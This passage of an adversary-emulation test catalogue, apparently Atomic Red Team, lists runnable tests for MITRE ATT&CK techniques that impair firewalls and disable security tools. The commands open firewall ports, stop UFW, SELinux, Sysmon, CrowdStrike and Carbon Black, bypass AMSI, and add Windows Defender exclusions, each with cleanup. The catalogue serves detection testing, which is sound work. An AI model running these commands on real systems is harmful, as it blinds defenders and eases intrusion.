          /v "EnableFirewall" /t REG_DWORD /d 1 /f

'
        name: command_prompt
    - name: Allow SMB and RDP on Microsoft Defender Firewall
      auto_generated_guid: d9841bf8-f161-4c73-81e9-fd773a5ff8c1
      description: |
        Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.
        Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...
      supported_platforms:
      - windows
      executor:
        command: |
          netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
          netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes
        cleanup_command: 'netsh advfirewall reset >nul 2>&1

'
        name: command_prompt
    - name: Opening ports for proxy - HARDRAIN
      auto_generated_guid: 15e57006-79dd-46df-9bf9-31bc24fb5a80
      description: |
        This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.

        reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
      supported_platforms:
      - windows
      executor:
        command: "netsh advfirewall firewall add rule name=\"atomic testing\" action=allow
          dir=in protocol=TCP localport=450 \n"
        cleanup_command: netsh advfirewall firewall delete rule name="atomic testing"
          protocol=TCP localport=450 >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Open a local port through Windows Firewall to any profile
      auto_generated_guid: 9636dd6e-7599-40d2-8eee-ac16434f35ed
      description: This test will attempt to open a local port defined by input arguments
        to any profile
      supported_platforms:
      - windows
      input_arguments:
        local_port:
          description: This is the local port you wish to test opening
          type: Integer
          default: 3389
      executor:
        command: netsh advfirewall firewall add rule name="Open Port to Any" dir=in
          protocol=tcp localport=#{local_port} action=allow profile=any
        cleanup_command: netsh advfirewall firewall delete rule name="Open Port to
          Any" | Out-Null
        name: powershell
        elevation_required: true
    - name: Allow Executable Through Firewall Located in Non-Standard Location
      auto_generated_guid: 6f5822d2-d38d-4f48-9bfc-916607ff6b8c
      description: This test will attempt to allow an executable through the system
        firewall located in the Users directory
      supported_platforms:
      - windows
      input_arguments:
        exe_file_path:
          description: path to exe file
          type: Path
          default: PathToAtomicsFolder\T1562.004\bin\AtomicTest.exe
      executor:
        command: |
          Copy-Item #{exe_file_path} -Destination "C:\Users\$env:UserName" -Force
          netsh advfirewall firewall add rule name="Atomic Test" dir=in action=allow program="C:\Users\$env:UserName\AtomicTest.exe" enable=yes
        cleanup_command: |
          netsh advfirewall firewall delete rule name="Atomic Test" | Out-Null
          Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Stop/Start UFW firewall
      auto_generated_guid: fe135572-edcd-49a2-afe6-1d39521c5a9a
      description: 'Stop the Uncomplicated Firewall (UFW) if installed.

'
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ufw is installed on the machine.

'
        prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n*****
          ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep
          -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1;
          fi \n"
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: 'ufw disable

'
        cleanup_command: |
          ufw enable
          ufw status verbose
    - name: Stop/Start UFW firewall systemctl
      auto_generated_guid: 9fd99609-1854-4f3c-b47b-97d9a5972bd1
      description: "Stop the Uncomplicated Firewall (UFW) if installed, using systemctl.
        \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemctl and ufw is installed on the machine.

'
        prereq_command: "if [ ! -x \"$(command -v systemctl)\" ]; then echo -e \"\\n*****
          systemctl NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v
          ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1;
          fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n*****
          ufw inactive *****\\n\"; exit 1; fi \n"
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: 'systemctl stop ufw

'
        cleanup_command: |
          systemctl start ufw
          systemctl status ufw
    - name: Turn off UFW logging
      auto_generated_guid: 8a95b832-2c2a-494d-9cb0-dc9dd97c8bad
      description: "Turn off the Uncomplicated Firewall (UFW) logging. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ufw is installed on the machine and enabled.

'
        prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n*****
          ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep
          -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1;
          fi \n"
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: 'ufw logging off

'
        cleanup_command: |
          ufw logging low
          ufw status verbose
    - name: Add and delete UFW firewall rules
      auto_generated_guid: b2563a4e-c4b8-429c-8d47-d5bcb227ba7a
      description: "Add and delete a rule on the Uncomplicated Firewall (UFW) if installed
        and enabled. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ufw is installed on the machine and enabled.

'
        prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n*****
          ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep
          -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1;
          fi \n"
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: |
          ufw prepend deny from 1.2.3.4
          ufw status numbered
        cleanup_command: |
          { echo y; echo response; } | ufw delete 1
          ufw status numbered
    - name: Edit UFW firewall user.rules file
      auto_generated_guid: beaf815a-c883-4194-97e9-fdbbb2bbdd7c
      description: 'Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.

'
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/ufw/user.rules exists.

'
        prereq_command: 'if [ ! -f "/etc/ufw/user.rules" ]; then echo -e "\n*****
          ufw NOT installed *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules
          grep "# THIS IS A COMMENT" /etc/ufw/user.rules
        cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/ufw/user.rules

'
    - name: Edit UFW firewall ufw.conf file
      auto_generated_guid: c1d8c4eb-88da-4927-ae97-c7c25893803b
      description: "Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf
        \nwhich controls if the firewall starts on boot and its logging level.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/ufw/ufw.conf exists.

'
        prereq_command: 'if [ ! -f "/etc/ufw/ufw.conf" ]; then echo -e "\n***** ufw
          NOT installed *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf
          grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf
        cleanup_command: |
          sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf
          cat /etc/ufw/ufw.conf
    - name: Edit UFW firewall sysctl.conf file
      auto_generated_guid: c4ae0701-88d3-4cd8-8bce-4801ed9f97e4
      description: "Edit the Uncomplicated Firewall (UFW) configuration file for setting
        network \nvariables /etc/ufw/sysctl.conf.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/ufw/sysctl.conf exists.

'
        prereq_command: 'if [ ! -f "/etc/ufw/sysctl.conf" ]; then echo -e "\n*****
          ufw NOT installed *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf
          grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf
        cleanup_command: |
          sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf
          cat /etc/ufw/sysctl.conf
    - name: Edit UFW firewall main configuration file
      auto_generated_guid: 7b697ece-8270-46b5-bbc7-6b9e27081831
      description: "Edit the Uncomplicated Firewall (UFW) main configuration file
        for setting \ndefault policies /etc/default/ufw.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/default/ufw exists.

'
        prereq_command: 'if [ ! -f "/etc/default/ufw" ]; then echo -e "\n***** ufw
          NOT installed *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/default/ufw
          grep "# THIS IS A COMMENT" /etc/default/ufw
        cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/default/ufw

'
    - name: Tail the UFW firewall log file
      auto_generated_guid: 419cca0c-fa52-4572-b0d7-bc7c6f388a27
      description: "Print  the last 10 lines of the Uncomplicated Firewall (UFW) log
        file \n/var/log/ufw.log.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /var/log/ufw.log exists.

'
        prereq_command: 'if [ ! -f "/var/log/ufw.log" ]; then echo -e "\n***** ufw
          NOT logging *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: 'tail /var/log/ufw.log

'
        cleanup_command: ''
  T1562.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1562.001
        url: https://attack.mitre.org/techniques/T1562/001
      - external_id: CAPEC-578
        source_name: capec
        url: https://capec.mitre.org/data/definitions/578.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Disable or Modify Tools
      description: Adversaries may disable security tools to avoid possible detection
        of their tools and activities. This can take the form of killing security
        software or event logging processes, deleting Registry keys so that tools
        do not start at run time, or other methods to interfere with security tools
        scanning or reporting information.
      id: attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-19T13:41:17.746Z'
      created: '2020-02-21T20:32:20.810Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_defense_bypassed:
      - Anti-virus
      - Log analysis
      - Signature-based detection
      - Host intrusion prevention systems
      - File monitoring
      x_mitre_detection: Monitor processes and command-line arguments to see if security
        tools are killed or stop running. Monitor Registry edits for modifications
        to services and startup programs that correspond to security tools. Lack of
        log events may be suspicious.
      x_mitre_data_sources:
      - 'Process: Process Termination'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Windows Registry: Windows Registry Key Deletion'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'Sensor Health: Host Status'
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Containers
      - IaaS
      x_mitre_contributors:
      - Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security
      - Nathaniel Quist, Palo Alto Networks
      - Gal Singer, @galsinger29, Team Nautilus Aqua Security
      identifier: T1562.001
    atomic_tests:
    - name: Disable syslog
      auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8
      description: 'Disables syslog collection

'
      supported_platforms:
      - linux
      input_arguments:
        package_checker:
          description: Package checking command for linux.
          type: String
          default: "(rpm -q rsyslog 2>&1 >/dev/null) || (dpkg -s rsyslog | grep -q
            installed)"
        package_installer:
          description: Package installer command for linux. Default yum
          type: String
          default: "(which yum && yum -y epel-release rsyslog)||(which apt-get &&
            apt-get install -y rsyslog)"
        flavor_command:
          description: Command to disable syslog collection. Default newer rsyslog
            commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog
          type: String
          default: systemctl stop rsyslog ; systemctl disable rsyslog
        cleanup_command:
          description: Command to enable syslog collection. Default newer rsyslog
            commands. i.e older command = service rsyslog start ; chkconfig rsyslog
            on
          type: String
          default: systemctl start rsyslog ; systemctl enable rsyslog
      dependency_executor_name: sh
      dependencies:
      - description: 'Package with rsyslog must be on system

'
        prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit
          1; fi

'
        get_prereq_command: "sudo #{package_installer} \n"
      executor:
        command: "#{flavor_command}\n"
        cleanup_command: "#{cleanup_command}\n"
        name: sh
        elevation_required: true
    - name: Disable Cb Response
      auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8
      description: 'Disable the Cb Response service

'
      supported_platforms:
      - linux
      executor:
        command: |
          if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
          then
            service cbdaemon stop
            chkconfig off cbdaemon
          else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
            systemctl stop cbdaemon
            systemctl disable cbdaemon
          fi
        name: sh
    - name: Disable SELinux
      auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8
      description: 'Disables SELinux enforcement

'
      supported_platforms:
      - linux
      executor:
        command: 'setenforce 0

'
        cleanup_command: 'setenforce 1

'
        name: sh
        elevation_required: true
    - name: Stop Crowdstrike Falcon on Linux
      auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d
      description: 'Stop and disable Crowdstrike Falcon on Linux

'
      supported_platforms:
      - linux
      executor:
        command: |
          sudo systemctl stop falcon-sensor.service
          sudo systemctl disable falcon-sensor.service
        cleanup_command: |
          sudo systemctl enable falcon-sensor.service
          sudo systemctl start falcon-sensor.service
        name: sh
        elevation_required: true
    - name: Disable Carbon Black Response
      auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c
      description: 'Disables Carbon Black Response

'
      supported_platforms:
      - macos
      executor:
        command: |
          sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
          sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
        cleanup_command: |
          sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
          sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
        name: sh
        elevation_required: true
    - name: Disable LittleSnitch
      auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3
      description: 'Disables LittleSnitch

'
      supported_platforms:
      - macos
      executor:
        command: 'sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

'
        cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

'
        name: sh
        elevation_required: true
    - name: Disable OpenDNS Umbrella
      auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849
      description: 'Disables OpenDNS Umbrella

'
      supported_platforms:
      - macos
      executor:
        command: 'sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

'
        cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

'
        name: sh
        elevation_required: true
    - name: Disable macOS Gatekeeper
      auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053
      description: 'Disables macOS Gatekeeper

'
      supported_platforms:
      - macos
      executor:
        command: 'sudo spctl --master-disable

'
        cleanup_command: 'sudo spctl --master-enable

'
        name: sh
        elevation_required: true
    - name: Stop and unload Crowdstrike Falcon on macOS
      auto_generated_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef
      description: 'Stop and unload Crowdstrike Falcon daemons falcond and userdaemon
        on macOS

'
      supported_platforms:
      - macos
      input_arguments:
        falcond_plist:
          description: The path of the Crowdstrike Falcon plist file
          type: Path
          default: "/Library/LaunchDaemons/com.crowdstrike.falcond.plist"
        userdaemon_plist:
          description: The path of the Crowdstrike Userdaemon plist file
          type: Path
          default: "/Library/LaunchDaemons/com.crowdstrike.userdaemon.plist"
      executor:
        command: |
          sudo launchctl unload #{falcond_plist}
          sudo launchctl unload #{userdaemon_plist}
        cleanup_command: |
          sudo launchctl load -w #{falcond_plist}
          sudo launchctl load -w #{userdaemon_plist}
        name: sh
        elevation_required: true
    - name: Unload Sysmon Filter Driver
      auto_generated_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164
      description: |
        Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution,
        run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".
      supported_platforms:
      - windows
      input_arguments:
        sysmon_driver:
          description: The name of the Sysmon filter driver (this can change from
            the default)
          type: String
          default: SysmonDrv
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sysmon must be downloaded

'
        prereq_command: 'if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon
          2> nul") -or (Test-Path $env:Temp\Sysmon\Sysmon.exe)) { exit 0 } else {
          exit 1 }

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$env:TEMP\Sysmon.zip"
          Expand-Archive $env:TEMP\Sysmon.zip $env:TEMP\Sysmon -Force
          Remove-Item $env:TEMP\Sysmon.zip -Force
      - description: 'sysmon must be Installed

'
        prereq_command: 'if(sc.exe query sysmon | findstr sysmon) { exit 0 } else
          { exit 1 }

'
        get_prereq_command: |
          if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else
          { Set-Location $env:TEMP\Sysmon\; .\Sysmon.exe -accepteula -i}
      - description: 'sysmon filter must be loaded

'
        prereq_command: 'if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0
          } else { exit 1 }

'
        get_prereq_command: |
          sysmon -u
          sysmon -accepteula -i
      executor:
        command: 'fltmc.exe unload #{sysmon_driver}

'
        cleanup_command: |
          sysmon -u -i > nul 2>&1
          sysmon -i -accepteula -i > nul 2>&1
          %temp%\Sysmon\sysmon.exe -u > nul 2>&1
          %temp%\Sysmon\sysmon.exe -accepteula -i > nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Uninstall Sysmon
      auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc
      description: 'Uninstall Sysinternals Sysmon for Defense Evasion

'
      supported_platforms:
      - windows
      input_arguments:
        sysmon_exe:
          description: The location of the Sysmon executable from Sysinternals (ignored
            if sysmon.exe is found in your PATH)
          type: Path
          default: PathToAtomicsFolder\T1562.001\bin\sysmon.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sysmon executable must be available

'
        prereq_command: 'if(cmd /c where sysmon) {exit 0} else {exit 1}

'
        get_prereq_command: |
          $parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
          New-Item -ItemType Directory $parentpath -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath"
          Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
          if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}
      - description: 'Sysmon must be installed

'
        prereq_command: 'if(cmd /c sc query sysmon) { exit 0} else { exit 1}

'
        get_prereq_command: 'cmd /c sysmon -i -accepteula

'
      executor:
        command: 'sysmon -u

'
        cleanup_command: 'sysmon -i -accepteula >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: AMSI Bypass - AMSI InitFailed
      auto_generated_guid: 695eed40-e949-40e5-b306-b4031e4154bd
      description: |
        Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
        Upon execution, no output is displayed.

        https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
      supported_platforms:
      - windows
      executor:
        command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n"
        cleanup_command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n"
        name: powershell
    - name: AMSI Bypass - Remove AMSI Provider Reg Key
      auto_generated_guid: 13f09b91-c953-438e-845b-b585e51cac9b
      description: |
        With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
        This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
        Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.
      supported_platforms:
      - windows
      executor:
        command: 'Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}"
          -Recurse

'
        cleanup_command: 'New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"
          -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null

'
        name: powershell
        elevation_required: true
    - name: Disable Arbitrary Security Windows Service
      auto_generated_guid: a1230893-56ac-4c81-b644-2108e982f8f5
      description: |
        With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
        Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
        To verify that the service has stopped, run "sc query McAfeeDLPAgentService"
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: The name of the service to stop
          type: String
          default: McAfeeDLPAgentService
      executor:
        command: |
          net.exe stop #{service_name}
          sc.exe config #{service_name} start= disabled
        cleanup_command: |
          sc.exe config #{service_name} start= auto >nul 2>&1
          net.exe start #{service_name} >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Tamper with Windows Defender ATP PowerShell
      auto_generated_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7
      description: |
        Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
        in Windows settings.
      supported_platforms:
      - windows
      executor:
        command: |
          Set-MpPreference -DisableRealtimeMonitoring 1
          Set-MpPreference -DisableBehaviorMonitoring 1
          Set-MpPreference -DisableScriptScanning 1
          Set-MpPreference -DisableBlockAtFirstSeen 1
        cleanup_command: |
          Set-MpPreference -DisableRealtimeMonitoring 0
          Set-MpPreference -DisableBehaviorMonitoring 0
          Set-MpPreference -DisableScriptScanning 0
          Set-MpPreference -DisableBlockAtFirstSeen 0
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Command Prompt
      auto_generated_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2
      description: |
        Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
        However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
        will be displayed twice and the WinDefend service status will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          sc stop WinDefend
          sc config WinDefend start=disabled
          sc query WinDefend
        cleanup_command: |
          sc start WinDefend >nul 2>&1
          sc config WinDefend start=enabled >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Tamper with Windows Defender Registry
      auto_generated_guid: 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45
      description: |
        Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
        grayed out and have no info.
      supported_platforms:
      - windows
      executor:
        command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
          -Name DisableAntiSpyware -Value 1

'
        cleanup_command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows
          Defender" -Name DisableAntiSpyware -Value 0

'
        name: powershell
        elevation_required: true
    - name: Disable Microsoft Office Security Features
      auto_generated_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7
      description: |
        Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
        show any warning before editing the document.


        https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
      supported_platforms:
      - windows
      executor:
        command: |
          New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
          New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
          New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"
        cleanup_command: |
          Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null
          Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore
        name: powershell
    - name: Remove Windows Defender Definition Files
      auto_generated_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68
      description: |
        Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
        On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
        command will say completed.

        https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
      supported_platforms:
      - windows
      executor:
        command: '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions
          -All

'
        name: command_prompt
        elevation_required: true
    - name: Stop and Remove Arbitrary Security Windows Service
      auto_generated_guid: ae753dda-0f15-4af6-a168-b9ba16143143
      description: 'Beginning with Powershell 6.0, the Stop-Service cmdlet sends a
        stop message to the Windows Service Controller for each of the specified services.
        The Remove-Service cmdlet removes a Windows service in the registry and in
        the service database.

'
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: The name of the service to remove
          type: String
          default: McAfeeDLPAgentService
      executor:
        command: |
          Stop-Service -Name #{service_name}
          Remove-Service -Name #{service_name}
        name: powershell
        elevation_required: true
    - name: Uninstall Crowdstrike Falcon on Windows
      auto_generated_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297
      description: 'Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is
        not provided as an argument we need to search for it. Since the executable
        is located in a folder named with a random guid we need to identify it before
        invoking the uninstaller.

'
      supported_platforms:
      - windows
      input_arguments:
        falcond_path:
          description: The Crowdstrike Windows Sensor path. The Guid always changes.
          type: Path
          default: C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe
      executor:
        command: if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall
          /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include
          "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath
          $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList
          -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Evade Scanning -Folder
      auto_generated_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed
      description: "Malware can exclude a specific path from being scanned and evading
        detection. \nUpon successul execution, the file provided should be on the
        list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath
        \n"
      supported_platforms:
      - windows
      input_arguments:
        excluded_folder:
          description: This folder will be excluded from scanning
          type: Path
          default: C:\Temp
      executor:
        command: |-
          $excludedpath= "#{excluded_folder}"
          Add-MpPreference -ExclusionPath $excludedpath
        cleanup_command: |
          $excludedpath= "#{excluded_folder}"
          Remove-MpPreference -ExclusionPath $excludedpath
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Evade Scanning -Extension
      auto_generated_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea
      description: "Malware can exclude specific extensions from being scanned and
        evading detection. \nUpon successful execution, the extension(s) should be
        on the list of excluded extensions.\nTo check the exclusion list using poweshell
        \ (Get-MpPreference).ExclusionExtension.\n"
      supported_platforms:
      - windows
      input_arguments:
        excluded_exts:
          description: A list of extension to exclude from scanning
          type: String
          default: ".exe"
      executor:
        command: |-
          $excludedExts= "#{excluded_exts}"
          Add-MpPreference -ExclusionExtension  $excludedExts
        cleanup_command: |
          $excludedExts= "#{excluded_exts}"
          Remove-MpPreference -ExclusionExtension  $excludedExts -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Evade Scanning -Process
      auto_generated_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27
      description: "Malware can exclude specific processes from being scanned and
        evading detection.\nUpon successful execution, the process(es) should be on
        the list of excluded processes. \nTo check the exclusion list using poweshell
        \ (Get-MpPreference).ExclusionProcess.\"\n"
      supported_platforms:
      - windows
      input_arguments:
        excluded_process:
          description: A list of processes to exclude from scanning
          type: String
          default: outlook.exe
      executor:
        command: |-
          $excludedProcess = "#{excluded_process}"
          Add-MpPreference -ExclusionProcess $excludedProcess
        cleanup_command: |
          $excludedProcess = "#{excluded_process}"
          Remove-MpPreference -ExclusionProcess  $excludedProcess
        name: powershell
        elevation_required: true
    - name: office-365-Disable-AntiPhishRule
      auto_generated_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3
      description: 'Using the Disable-AntiPhishRule cmdlet to disable antiphish rules
        in your office-365 organization.

'
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: office-365 username
